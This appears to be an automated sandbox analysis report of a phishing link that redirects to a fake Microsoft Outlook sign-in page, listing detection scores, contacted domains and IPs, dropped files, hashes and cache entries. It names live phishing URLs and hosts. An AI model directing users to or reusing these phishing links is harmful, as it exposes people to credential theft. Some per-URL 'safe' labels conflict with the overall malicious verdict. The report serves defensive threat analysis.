https://click.pstmrk.it/3s/t.co%2FRieqFTtqmt/gMTC/7_W0AQ/AQ/880c85de-cc11-4181-9f68-0f08d9f1e222/1/rCUNy3Yffz	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering

Source	Detection	Scanner	Link
cs1100.wpc.omegacdn.net	0%	Virustotal	Browse
part-0013.t-0009.t-msedge.net	0%	Virustotal	Browse
bg.microsoft.map.fastly.net	0%	Virustotal	Browse
fp2e7a.wpc.phicdn.net	0%	Virustotal	Browse
aadcdn.msftauth.net	0%	Virustotal	Browse
click.pstmrk.it	2%	Virustotal	Browse
assets.onestore.ms	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://6knvejjuzh3.scrdata-doc.cfd/favicon.ico	0%	Avira URL Cloud	safe
https://secur-doc.online/?hjhmxbor&qrc=	0%	Avira URL Cloud	safe
https://wordpressprofissional.com.br/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=20948110	0%	Avira URL Cloud	safe
https://6knvejjuzh3.scrdata-doc.cfd/?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovLzZrbnZlamp1emgzLnNjcmRhdGEtZG9jLmNmZCIsImRvbWFpbiI6IjZrbnZlamp1emgzLnNjcmRhdGEtZG9jLmNmZCIsImtleSI6IkN3c1d6a3dnYXBZZiIsInFyYyI6bnVsbCwiaWF0IjoxNzE0MTM1MDMzLCJleHAiOjE3MTQxMzUxNTN9.qcOufJnjfVRYE2Tpi0m8JV6q2CnOoq4QI4Gicn0DQ-g	0%	Avira URL Cloud	safe
https://6knvejjuzh3.scrdata-doc.cfd/	0%	Avira URL Cloud	safe
https://secur-doc.online/?hjhmxbor&qrc=	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	0%, Virustotal, Browse	unknown
part-0013.t-0009.t-msedge.net	13.107.246.41	true	false	0%, Virustotal, Browse	unknown
t.co	104.244.42.133	true	false		high
cs1100.wpc.omegacdn.net	152.199.4.44	true	false	0%, Virustotal, Browse	unknown
6knvejjuzh3.scrdata-doc.cfd	2.58.15.240	true	false		unknown
wordpressprofissional.com.br	31.170.163.25	true	false		unknown
www.google.com	142.250.64.196	true	false		high
click.pstmrk.it	3.133.210.250	true	false	2%, Virustotal, Browse	unknown
fp2e7a.wpc.phicdn.net	192.229.211.108	true	false	0%, Virustotal, Browse	unknown
secur-doc.online	2.58.15.240	true	false		unknown
LYH-efz.ms-acdc.office.com	52.96.165.130	true	false		high
r4.res.office365.com	unknown	unknown	false		high
aadcdn.msftauth.net	unknown	unknown	false	0%, Virustotal, Browse	unknown
assets.onestore.ms	unknown	unknown	false	0%, Virustotal, Browse	unknown
i.s-microsoft.com	unknown	unknown	false		high
ajax.aspnetcdn.com	unknown	unknown	false		high
outlook.office365.com	unknown	unknown	false		high
c.s-microsoft.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://outlook.office365.com/owa/prefetch.aspx	false		high
https://6knvejjuzh3.scrdata-doc.cfd/owa/	true		unknown
https://www.google.com/async/newtab_promos	false		high
https://secur-doc.online/?hjhmxbor&qrc=	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://wordpressprofissional.com.br/wp-content/OxZU0e8fGTHt7NTfrafq/	false		unknown
https://6knvejjuzh3.scrdata-doc.cfd/favicon.ico	false	Avira URL Cloud: safe	unknown
https://click.pstmrk.it/3s/t.co%2FRieqFTtqmt/gMTC/7_W0AQ/AQ/880c85de-cc11-4181-9f68-0f08d9f1e222/1/rCUNy3Yffz	true		unknown
https://www.google.com/async/ddljson?async=ntp:2	false		high
https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_promos&q=EgRmgZjcGOu_rrEGIjD8bANg-u1odBRI1x6aBEwDQgk5ys0fjh5xTOiYms3kNqX5NcRWLHJbTR3PYwG9_4QyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM	false		high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false		high
https://wordpressprofissional.com.br/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=20948110	false	Avira URL Cloud: safe	unknown
https://6knvejjuzh3.scrdata-doc.cfd/?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovLzZrbnZlamp1emgzLnNjcmRhdGEtZG9jLmNmZCIsImRvbWFpbiI6IjZrbnZlamp1emgzLnNjcmRhdGEtZG9jLmNmZCIsImtleSI6IkN3c1d6a3dnYXBZZiIsInFyYyI6bnVsbCwiaWF0IjoxNzE0MTM1MDMzLCJleHAiOjE3MTQxMzUxNTN9.qcOufJnjfVRYE2Tpi0m8JV6q2CnOoq4QI4Gicn0DQ-g	false	Avira URL Cloud: safe	unknown
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false		high
https://6knvejjuzh3.scrdata-doc.cfd/	false	Avira URL Cloud: safe	unknown
https://t.co/RieqFTtqmt	false		high
https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_ogb%3Fhl%3Den-US%26async%3Dfixed:0&hl=en-US&q=EgRmgZjcGOu_rrEGIjBE_meRxt7SPOsru9FjfLq3eBoEUHFPrZqRg1AUgQUtmWvideuFZN9JTyUEamxFHncyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://github.com/jquery/globalize	chromecache_137.2.dr	false	high
http://knockoutjs.com/	chromecache_129.2.dr	false	high
https://login.windows-ppe.net	chromecache_100.2.dr	false	high
https://js.monitor.azure.com/scripts/c/ms.analytics-web-2.min.js	chromecache_129.2.dr	false	high
http://www.json.org/json2.js	chromecache_129.2.dr	false	high
https://login.microsoftonline.com	chromecache_100.2.dr	false	high
http://www.opensource.org/licenses/mit-license.php)	chromecache_129.2.dr	false	high
https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css	chromecache_118.2.dr	false	high
http://github.com/requirejs/almond/LICENSE	chromecache_117.2.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.41	part-0013.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
3.133.210.250	click.pstmrk.it	United States	16509	AMAZON-02US	false
31.170.163.25	wordpressprofissional.com.br	United States	47583	AS-HOSTINGERLT	false
52.96.165.130	LYH-efz.ms-acdc.office.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
2.58.15.240	6knvejjuzh3.scrdata-doc.cfd	Czech Republic	33438	HIGHWINDS2US	false
104.244.42.133	t.co	United States	13414	TWITTERUS	false
142.250.64.196	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false

Private

IP
192.168.2.4
192.168.2.5

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1432123
Start date and time:	2024-04-26 14:36:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://click.pstmrk.it/3s/t.co%2FRieqFTtqmt/gMTC/7_W0AQ/AQ/880c85de-cc11-4181-9f68-0f08d9f1e222/1/rCUNy3Yffz
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal84.phis.win@29/98@30/10
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Browse: https://6knvejjuzh3.scrdata-doc.cfd/owa/

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.64.227, 142.250.217.206, 172.253.123.84, 34.104.35.123, 23.193.120.112, 52.165.165.26, 199.232.210.172, 192.229.211.108, 52.165.164.15, 40.126.28.11, 40.126.7.32, 40.126.28.22, 40.126.28.19, 40.126.28.23, 40.126.28.21, 40.126.28.12, 40.126.28.18, 142.250.217.170, 172.217.15.202, 142.250.64.138, 142.250.64.202, 142.250.64.170, 142.250.189.138, 172.217.3.74, 192.178.50.42, 192.178.50.74, 142.250.217.202, 172.217.165.202, 142.251.35.234, 142.250.217.234, 23.208.28.161, 23.208.28.150, 23.208.28.181, 23.208.28.143, 23.208.28.180, 20.42.73.27, 172.217.165.195, 20.50.73.11, 152.199.4.33, 104.94.109.172, 23.193.121.172, 23.194.229.247, 184.28.75.154, 184.28.75.168, 184.28.75.171, 23.196.177.129, 199.232.214.172
Excluded domains from analysis (whitelisted): assets.onestore.ms.edgekey.net, slscr.update.microsoft.com, e13678.dscb.akamaiedge.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, i.s-microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net, www.microsoft.com-c-3.edgekey.net, clients2.google.com, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, update.googleapis.com, e10583.dspg.akamaiedge.net, e40491.dscg.akamaiedge.net, fs.microsoft.com, content-autofill.googleapis.com, aadcdnoriginwus2.azureedge.net, cmspreview2.corp.microsoft.com, www.tm.v4.a.prd.aadg.akadns.net, aadcdn.msauth.net, assets.onestore.ms.akadns.net, onedscolprdeus12.eastus.cloudapp.azure.com, c-s.cms.ms.akadns.net, edgedl.me.gvt1.com, aadcdnoriginwus2.afd.azureedge.net, c.s-microsoft.com-c.edgekey.net, clients.l.google.com, www.tm.lg.prod.aadmsa.trafficmanager.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, www.microsoft.com-c-3.edgekey.net.globalredir.akad
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.

Source	URL
Screenshot	http://

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Apr 26 11:37:00 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9742549840890984
Encrypted:	false
SSDEEP:	48:8vgd7TjDcHbidAKZdA19ehwiZUklqehuy+3:8vIroFy
MD5:	C678402AC72AB9EE4DE0E0AAA05BAC7E
SHA1:	33E72FD00A8298AE9E79F434D16424D913F63246
SHA-256:	67EC9B9A0040DC23367FF69F1168B1C2518A9CFE8EB6B738A0EFDFC553E9C27E
SHA-512:	671CDA1FA5A8CD4382D47315C8256DB14F91F2D067196DC70BD2537944DB8C598AA2A344DD2A1FE96AA04C6599F5C48741D87B399BAFF355C17B7F2E466645DC
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....&Co...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.d....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.d....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.d....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.d..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.d...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........n2<\|.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Apr 26 11:37:00 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.988473090887558
Encrypted:	false
SSDEEP:	48:87vd7TjDcHbidAKZdA1weh/iZUkAQkqeh1y+2:8pri9Q8y
MD5:	B875A1AB14D4071F3F28F4AFA05714F1
SHA1:	148BE35AE8DDF6EEEAB78B9530ADAC00A765C82A
SHA-256:	36374AF526EB52FAA17B82C41212598FD064BA7733DD317337C2AF870EB5E49E
SHA-512:	24031988A2A196EADCC5C0DD60E74E974782423AF7B41E3A17F8500CB8E698E6790DAAE429C1697AC9F7C34BEB851196898BCA86262CCF9088500B33072CD3FE
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....r]2o...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.d....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.d....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.d....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.d..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.d...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........n2<\|.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.002298910882476
Encrypted:	false
SSDEEP:	48:8xcd7TjDsHbidAKZdA14tseh7sFiZUkmgqeh7sLy+BX:8x8ranZy
MD5:	D011159BF8DA1C2846710295D7FC6D74
SHA1:	E911864B669C1B431983FA83D2E50B7A94B5964E
SHA-256:	079909F7187F8CBEC272E7BCF6395B4B65EBB99457554A806F78201FEA12006B
SHA-512:	CF8538E42FD562B4BDABAD1BAEDBB4E6CABE4F30D2549E251AB2ED5651B146CA74017CD5C779088DF4E91611461ED0ABB14C09E95AD3844A2DE87DA1C4CE32CC
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.d....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.d....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.d....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.d..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........n2<\|.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Apr 26 11:37:00 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.991903786392384
Encrypted:	false
SSDEEP:	48:86d7TjDcHbidAKZdA1vehDiZUkwqehBy+R:86rpTy
MD5:	FA4C240D51CFC03752854E5F40F05C08
SHA1:	459E771B7E8E1AB9759EB2A20CEDE95762D15B82
SHA-256:	44E63455784D80C2C0B3A3F50612124FF0D5C216877DA9FCC5A6DC2352CD1A7D
SHA-512:	E8A4FD4445A6CE8790794ED789C67A31855756FC20E232C19E673F46353D60353AE6DD3277E670C80CEA196F7870F0D87B59C18E4084E7F122C4063B670B4CF5
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......(o...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.d....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.d....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.d....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.d..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.d...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........n2<\|.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Apr 26 11:37:00 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.977167781772064
Encrypted:	false
SSDEEP:	48:8td7TjDcHbidAKZdA1hehBiZUk1W1qehPy+C:8brZ9vy
MD5:	D33E45E481300E67BBF39508B6CFD57F
SHA1:	93802B6A929CED478E76457F6ABCE25092BA22B6
SHA-256:	A7E38095D5FA09B06583D5B3E69D39E3C1D5C30F52C6C156B5374559ED4013AD
SHA-512:	5557C243E425C1BC083062558A33AF0B977E151AE5E6F1D4D6EAE9D00924B71F2FBD275763C3CC29ED39F18504C18A6879329B1450D4D14B871C9005669AE41B
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....A=o...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.d....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.d....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.d....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.d..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.d...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........n2<\|.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Apr 26 11:37:00 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9902033768063205
Encrypted:	false
SSDEEP:	48:8ad7TjDcHbidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbZy+yT+:8arlT/TbxWOvTbZy7T
MD5:	69BB07AF6CEB39B8F3911FC436A7B8FD
SHA1:	D3CB5F49EDB98D5B6E3F07463B501477C794C1BF
SHA-256:	FC21D30E35A78CA6DD1DED9BE9D0EDFC3F6B4DDA51786E88727726366BA1C03A
SHA-512:	79E628531F8E49E37E7018F0DF217EC49BAD20A6B9185E0C228870ECB66F2D7282A9BA1190CD92E2D655CE7B453EADA0AB050D59849B8D702B23443F0446A88D
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......n...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.d....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.d....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.d....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.d..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.d...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........n2<\|.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2345), with CRLF line terminators
Category:	downloaded
Size (bytes):	2347
Entropy (8bit):	5.290031538794594
Encrypted:	false
SSDEEP:	48:gCgF0+kNL5iQ6+GhB+SYWzGuesAFcsGJOzgO6FIEv+sj+M++sx+suse+swsosmC0:gC3Na5+GX+Ti2XsYE2sqAsosushswsoB
MD5:	E86EF8B6111E5FB1D1665BCDC90888C9
SHA1:	994BF7651CB967CD9053056AF2D69ACB74DB7F29
SHA-256:	3410242720DE50B090D07A23AEE2DAD879B31D36F2615732962EC4CFA8A9D458
SHA-512:	2486B491681EE91A9CD1ECC9AA011A3FB34B48358C5D7A4D503A5357BC5CE4CA22999F918D40AC60A3063940D5F326FC7E4E5713D89D5C102DE68824E371B3AB
Malicious:	false
Reputation:	low
URL:	https://login.live.com/Me.htm?v=3
Preview:	<script type="text/javascript">!function(n,t){for(var e in t)n[e]=t[e]}(this,function(n){function t(i){if(e[i])return e[i].exports;var s=e[i]={exports:{},id:i,loaded:!1};return n[i].call(s.exports,s,s.exports,t),s.loaded=!0,s.exports}var e={};return t.m=n,t.c=e,t.p="",t(0)}([function(n,t){function e(n){for(var t=g[c],e=0,i=t.length;e<i;++e)if(t[e]===n)return!0;return!1}function i(n){if(!n)return null;for(var t=n+"=",e=document.cookie.split(";"),i=0,s=e.length;i<s;i++){var o=e[i].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===o.indexOf(t))return o.substring(t.length)}return null}function s(n,t,e){if(n)for(var i=n.split(":"),s=null,o=0,a=i.length;o<a;++o){var l=null,c=i[o].split("$");if(0===o&&(s=parseInt(c.shift()),!s))return;var p=c.length;if(p>=1){var f=r(s,c[0]);if(!f\|\|e[f])continue;l={signInName:f,idp:"msa",isSignedIn:!0}}if(p>=3&&(l.firstName=r(s,c[1]),l.lastName=r(s,c[2])),p>=4){var g=c[3],m=g.split("\|");l.otherHashedAliases=m}if(p>=5){var h=parseInt(c[4],16);h&&(l.

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
Reputation:	low
URL:	https://6knvejjuzh3.scrdata-doc.cfd/aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_b540a8e518037192e32c4fe58bf2dbab.gif
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
